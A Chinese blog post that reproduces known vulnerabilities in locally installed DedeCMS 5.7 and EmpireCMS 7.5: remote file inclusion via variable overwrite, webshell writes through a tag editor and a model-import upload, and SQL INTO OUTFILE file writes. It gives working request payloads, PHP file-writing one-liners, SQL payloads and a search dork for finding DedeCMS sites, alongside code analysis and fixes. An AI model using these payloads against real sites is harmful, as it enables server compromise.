织梦cms、帝国cms的搭建及漏洞复现
前言
这里看到phpstudy自带了这织梦cms和帝国cms,可能是比较经典的cms吧
因此打算安装这两样复现一下漏洞
正文
安装
首先在官网下载源码~
织梦cms:产 品 / DedeCMS / 软件下载_织梦CMS
帝国cms:帝国软件 -> 产品下载 (phome.net)
我下载的是这两个:
具体安装过程很简单,跟着教程走就可以了
进入安装目录,逐步填写信息即可
安装目录:
织梦cms:uploads/install
帝国cms:upload/e/install
ps:在真实配置的时候是将upload中的源文件复制到服务器目录中。这里我直接解压了~
漏洞复现
织梦cms
dedecms的漏洞很多,比较用的人多了,找洞的人也就多了。
这里先随便挑两个复现一下
ps:google hack搜索dedecms搭建的网站:intitle:powered by dedecms
5.7-SP1远程文件包含漏洞(CVE-2015-4553)
影响版本:DeDeCMS < 5.7-sp1,包括5.7 sp1版本
描述:该漏洞存在于/install/index.php中(安装后为index.php.bak)。由于$$符号的使用不当(即可变变量)导致变量覆盖,最终引发远程文件包含漏洞
修复:将相关变量改为常量定义
织梦cms5.7 sp1:织梦CMS(DedeCMS) v5.7 SP1 UTF8 build20150618 - 源码下载 (downcode.com)
foreach(Array('_GET','_POST','_COOKIE') as $_request)
#用foreach遍历数组,每次循环将数组单元的值赋给$_request(以get、post、cookie传入的值)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
#foreach遍历数组,将当前数组单元的键名赋给$_k,当前数组单元的值赋给$_v。
#RunMagicQuotes()作为过滤函数存在
#$$_request:可变变量,以$_request这个变量的值作为变量名
#${$_k}:PHP分析双引号中的数据是否含有变量(并解析它的值),当用双引号时,{}用来界定变量的界限。
}
function _RunMagicQuotes(&$svar){
if(!get_magic_quotes_gpc()){
if(is_array($svar)){
foreach($svar as $_k => $_v)$svar[$_k] = _RunMagicQuotes($_v);
}else{
if(strlen($svar)>0&&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar)){
exit('Request var not allow!');
}
$svar = addslashes($svar);
#使用addslashes()函数过滤
#在某些字符前加上了反斜线。: 引号(')、双引号(")、反斜线(\)、 NULL(null 字符)
}
}
return $svar;
}
访问安装页面,由于install_lock的存在,无法重新安装:
判断原理:定义了变量$insLockfile,利用file_exists()判断install_lock.txt是否存在 (取不存在的文件即可使判断条件失效)
由此进行变量覆盖即可绕过上述判断 xxx/uploads/install/index.php?insLockfile=1
后续由于install_lock.txt的存在,使得安装无法连贯,但访问相应的页面还是可以的
如:xxx/uploads/install/index.php?step=3&insLockfile=1
(由此我们可以在后面访问step=11)
再看源码
else if($step==11)
{
require_once('../data/admin/config_update.php');
#包含了../data/admin/config_update.php,在其中定义了updateHost和linkHost
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
#将config_update.php中的UPDATEHOST与dedecms/demodata.{$s_lang}.txt拼接为字符串
$sql_content = file_get_contents($rmurl);
#利用file_get_contents()读取$rmurl指代的文件内容
$fp = fopen($install_demo_name,'w');#定义变量$fp,打开$install_demo_name指代的文件(w权限)
if(fwrite($fp,$sql_content))#将$sql_content写入到$install_demo_name指代的文件
echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
else
echo ' <font color="red">[×]</font> 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
包含的config_update,其中定义了变量updateHost和linkHost
利用:
1.判断语句为if(step==11),须传入step=11; 存在install_lock.txt,传入insLockfile=1(取不存在的文件使得判断条件失效)
payload:
xxx/uploads/install/index.php?step=11&insLockfile=1
2.updateHost是来自于config_update.php的包含,无法直接将该变量覆盖。
故需要借用fopen($install_demo_name,'w')
将config_update.php清空
(w权限特质, 文件存在则清空内容再写入)
构造payload:
传入$install_demo_name=config_update.php;
而fwrite($fp,$sql_content)
的存在会将 $sql_content
写入config_update.php
$sql_content
是提取$rmurl
指代的文件内容写入
file_get_contents
读取失败时返回NULL,因此控制$s_lang
为不存在的文件名即可使$sql_content
= NULL
payload:
xxx/uploads/install/index.php?step=11&insLockfile=1&install_demo_name=../data/admin/config_update.php&s_lang=hhhhhh
显示为0kb,显然config_update.php已被清空了
3.随着config_update.php的清空,参数updateHost变得可控,可以开始远程上传文件了~
在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?>
然后开启web服务: sudo service apache2 start
payload:
xxx/uploads/install/index.php?step=11&insLockfile=1&install_demo_name=../info.php&updateHost=目标主机ip
显示如下画面即成功
如下
此漏洞根源还是变量覆盖,修复:
1、可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != ‘_’ && $$_key = daddslashes($_value);
}
}
2、官方sp2:
利用define函数构造为常量
5.7-SP2后台代码执行漏洞(CNVD-2018-01221)
影响版本:DeDeCMS < 5.7-sp2,包括5.7 sp2版本
描述:tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。 利用条件:需要登录后台;后台的账户权限是管理员权限。
1、此处要求具有管理员权限,并登入后台
2、分析dede/tpl.php:
...
else if($action=='savetagfile')
#$action必须等于savetagfile才能执行下面代码
{
csrf_check();#检验csrf,必须添加token进行绕过
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
#此处正则匹配:[a-z0-9_-]任意字符(大于1次) + .lib.php 的字符串:xxx.lib.php
#$filename不符合正则表达则无法进行修改,构造符号正则的$filename即可
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
#传入的路径为include/taglib/filename(常量DEDEINC=include)
$fp = fopen($truefile, 'w');
fwrite($fp, $content);#将$content的内容写入$fp代表的路径
fclose($fp);
...
此处正则匹配:[a-z0-9_-]任意字符(大于1次) + .lib.php 的字符串:xxx.lib.php
3、获取token绕过csrf
查看tpl.php,发现action有很多参数,但仅当action=upload才能获取token
访问tpl.php?action=upload;查看页面源代码即可获取token
4、
上传参数:
(由于dedecms全局变量注册的特性,content变量和filename变量可控,可以直接将content写入xxx.lib.php文件)
action=savetagfile
token=上面action=upload获取的token
content=要写入的🐎
filename=xxx.lib.php(要匹配正则)
payload:
dede/tpl.php?action=savetagfile&token=6ef0da020e1836c5401127d2605cb35b&filename=info.lib.php&content=<?php phpinfo();?>
之前查看代码可知传入的路径为include/taglib/$filename
访问include/taglib/info.lib.php
即可
修复:
1.禁止此处写入文件。
2.过滤恶意标签
帝国cms
7.5后台getshell(CVE-2018-18086)
影响版本:帝国CMS(EmpireCMS) <= 7.5
描述:EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
上传任意文件:
/e/admin/ecmsmod.php中:
//导入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
查看LoadInMod函数(/e/class/moddofun.php):
LoadInMod函数
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
#使用make_password(10)对时间进行加密最终拼接成为文件名
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);#这里将$path指代的文件包含了,由此可以构造php进行文件操作让他帮我们写shell
UpdateTbDefMod($tid,$tbname,$mid);
//公共变量
TogSaveTxtF(1);
GetConfig(1);//更新缓存
//生成模型表单文件
$modr=$empire->fetch1("select mtemp,qmtemp,cj from {$dbtbpre}enewsmod where mid='$mid'");
ChangeMForm($mid,$tid,$modr[mtemp]);//更新表单
ChangeQmForm($mid,$tid,$modr[qmtemp]);//更新前台表单
ChangeMCj($mid,$tid,$modr[cj]);//采集表单
//删除文件
DelFiletext($path);
//操作日志
insert_dolog("tid=$tid&tb=$tbname<br>mid=$mid");
printerror("LoadInModSuccess","db/ListTable.php".hReturnEcmsHashStrHref2(1));
}
关键代码分析如下(因为代码太长了==就截图出来)
如下
<?php fputs(fopen('info.php','w'),'<?php phpinfo(); ?>');?>
<?php file_put_contents(“info.php”,”<?php phpinfo(); ?>”); ?>
上传的文件被包含(被php解析)就会执行以上代码,从而在同目录下创建 info.php
(<?php phpinfo(); ?>”); ?>
)
那么来复现一下:
按照如下操作进入上传页面
构造一个内容为
<?php fputs(fopen('info.php','w'),'<?php phpinfo(); ?>');?>
或<?php file_put_contents(“info.php”,”<?php phpinfo(); ?>”); ?>
的.mod后缀的文件
可以看到文件成功写入了
访问即可
7.5 代码注入(CVE-2018-19462)
影响版本:帝国CMS(EmpireCMS) <= 7.5
描述:EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。
漏洞出现页面:
这里其实是使用了文件引用,引用了文件upload/e/admin/db/DoSql.php
查看DoSql.php:
function ExecSql($id,$userid,$username){
global $empire,$dbtbpre;
$id=(int)$id;
if(empty($id))
{
printerror('EmptyExecSqlid','');
}
$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
if(!$r['sqltext'])
{
printerror('EmptyExecSqlid','');
}
$query=RepSqlTbpre($r['sqltext']);#sqltext是上图表格上传的内容,经RepSqlTbpre处理
DoRunQuery($query);#对$query处理
//操作日志
insert_dolog("query=".$query);
printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}
$query=RepSqlTbpre($r['sqltext']);
:
sqltext就是网页中表格上传的内容,在函数ExecSql()中由RepSqlTbpre()处理
再来看一下RepSqlTbpre():
function RepSqlTbpre($sql){#利用str_replace()将表的前缀进行替换
global $dbtbpre;
$sql=str_replace('[!db.pre!]',$dbtbpre,$sql#将表的前缀进行替换
return $sql;
}
DoRunQuery($query);
:对$query处理(去除空格),用;
分割然后遍历,无其他限制or过滤
function DoRunQuery($sql){
global $empire;
$sql=str_replace("\r","\n",$sql);#将$sql中的"\r"以"\n"替换
$ret=array();
$num=0;
foreach(explode(";\n",trim($sql)) as $query){#以;分割再遍历
#explode使用一个字符串切割另一个字符串,并返回数组。这里使用";\n" 切割 trim($sql)
$queries=explode("\n",trim($query));#trim()去除字符串首尾空白
foreach($queries as $query)
{
$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
}
$num++;
}
unset($sql);
foreach($ret as $query)
{
$query=trim($query);
if($query)
{
$empire->query($query);
}
}
}
由此可执行恶意的sql语句
构造payload:(outfile、dumpfile)
select "<?php phpinfo(); ?>" into outfile "D:\\phpstudy_pro\\WWW\\empirecms\\myinfo.php"
or
select "<?php phpinfo(); ?>" into dumpfile "D:\\phpstudy_pro\\WWW\\empirecms\\myinfo.php"
执行成功,可以看到成功写入myinfo.php
访问即可触发:
如果不行的话可能是mysql安全限制的原因
secure_file_priv
参数:查看具有写权限的目录
- 当secure_file_priv的值为
null
,表示限制mysqld 不允许导入|导出- 当secure_file_priv的值
没有具体值
时(=""),表示不对mysqld 的导入|导出做限制- 当secure_file_priv的值为
/tmp/
,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
修改secure_file_priv
参数为空,如下;保存重启mysql即可